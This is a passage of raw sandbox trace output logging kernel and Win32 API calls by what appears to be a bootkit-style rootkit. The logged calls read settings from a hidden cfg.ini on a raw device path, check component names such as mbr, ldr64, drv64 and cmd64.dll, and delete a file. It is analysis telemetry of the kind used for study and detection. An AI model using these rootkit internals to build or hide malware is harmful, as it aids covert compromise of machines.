FastMutex=0xfffffa80027d3898) [0123.724] KeLeaveCriticalRegion () [0123.724] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.724] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.724] KeEnterCriticalRegion () [0123.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.724] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.724] KeLeaveCriticalRegion () [0123.724] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.724] KeEnterCriticalRegion () [0123.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.724] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.724] IdePortDispatch () returned 0x103 [0123.724] KeWaitForMutexObject () returned 0x0 [0123.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.724] KeLeaveCriticalRegion () [0123.724] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.724] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.724] KeEnterCriticalRegion () [0123.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.725] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003500000 [0123.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.725] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.725] IdePortDispatch () returned 0x103 [0123.725] KeWaitForMutexObject () returned 0x0 [0123.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.725] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.725] IdePortDispatch () returned 0x103 [0123.725] KeWaitForMutexObject () returned 0x0 [0123.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.725] KeLeaveCriticalRegion () [0123.725] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.726] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.726] KeEnterCriticalRegion () [0123.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.726] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.726] KeLeaveCriticalRegion () [0123.726] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.726] KeEnterCriticalRegion () [0123.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.726] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.726] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec4d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.726] KeLeaveCriticalRegion () [0123.726] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.726] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.726] KeEnterCriticalRegion () [0123.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.726] ExFreePoolWithTag (P=0xfffffa8003bed7a0, Tag=0x0) [0123.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.726] KeLeaveCriticalRegion () [0123.726] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.727] ReleaseMutex (hMutex=0xf0) returned 1 [0123.727] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.727] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.727] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.727] KeEnterCriticalRegion () [0123.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.727] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.727] IdePortDispatch () returned 0x103 [0123.727] KeWaitForMutexObject () returned 0x0 [0123.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.727] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.727] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.727] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.727] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.727] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beaaa0 [0123.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.727] KeLeaveCriticalRegion () [0123.727] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.727] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.727] KeEnterCriticalRegion () [0123.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.728] KeLeaveCriticalRegion () [0123.728] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.728] KeEnterCriticalRegion () [0123.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.728] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.728] IdePortDispatch () returned 0x103 [0123.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.728] KeLeaveCriticalRegion () [0123.728] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.728] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.728] KeEnterCriticalRegion () [0123.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.728] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003501000 [0123.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.728] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.728] IdePortDispatch () returned 0x103 [0123.730] KeWaitForMutexObject () returned 0x0 [0123.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.730] IdePortDispatch () returned 0x103 [0123.731] KeWaitForMutexObject () returned 0x0 [0123.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.731] KeLeaveCriticalRegion () [0123.731] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.732] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.732] KeEnterCriticalRegion () [0123.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.732] KeLeaveCriticalRegion () [0123.732] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.732] KeEnterCriticalRegion () [0123.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.732] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.732] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.732] KeLeaveCriticalRegion () [0123.732] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.732] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.732] KeEnterCriticalRegion () [0123.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.732] ExFreePoolWithTag (P=0xfffffa8003beaaa0, Tag=0x0) [0123.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.732] KeLeaveCriticalRegion () [0123.732] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.732] ReleaseMutex (hMutex=0xf0) returned 1 [0123.732] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.732] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.732] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.732] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.732] KeEnterCriticalRegion () [0123.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.732] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.732] IdePortDispatch () returned 0x103 [0123.732] KeWaitForMutexObject () returned 0x0 [0123.733] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.733] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.733] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.733] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.733] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.733] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.733] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.733] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.733] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.733] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.733] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.733] KeLeaveCriticalRegion () [0123.733] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.733] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.733] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.733] KeEnterCriticalRegion () [0123.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.733] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.733] IdePortDispatch () returned 0x103 [0123.733] KeWaitForMutexObject () returned 0x0 [0123.733] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.733] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.733] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.733] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.734] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.734] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.734] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.734] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.734] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.734] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.734] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.734] KeLeaveCriticalRegion () [0123.734] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.734] ReleaseMutex (hMutex=0x100) returned 1 [0123.734] Sleep (dwMilliseconds=0x2bf20) [0123.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cf33250, dwHighDateTime=0x1d24fa4)) [0123.742] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.742] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.750] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.750] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.750] KeEnterCriticalRegion () [0123.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.750] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.750] IdePortDispatch () returned 0x103 [0123.750] KeWaitForMutexObject () returned 0x0 [0123.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.750] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.750] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.750] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.750] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.750] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec4c0 [0123.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.750] KeLeaveCriticalRegion () [0123.750] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.750] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.751] KeEnterCriticalRegion () [0123.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.751] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.751] KeLeaveCriticalRegion () [0123.751] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.751] KeEnterCriticalRegion () [0123.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.751] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.751] IdePortDispatch () returned 0x103 [0123.751] KeWaitForMutexObject () returned 0x0 [0123.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.751] KeLeaveCriticalRegion () [0123.751] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.751] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.751] KeEnterCriticalRegion () [0123.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.751] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003574000 [0123.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.751] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.751] IdePortDispatch () returned 0x103 [0123.751] KeWaitForMutexObject () returned 0x0 [0123.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.752] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.752] IdePortDispatch () returned 0x103 [0123.752] KeWaitForMutexObject () returned 0x0 [0123.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.752] KeLeaveCriticalRegion () [0123.752] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.752] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.752] KeEnterCriticalRegion () [0123.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.752] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.752] KeLeaveCriticalRegion () [0123.752] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.752] KeEnterCriticalRegion () [0123.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 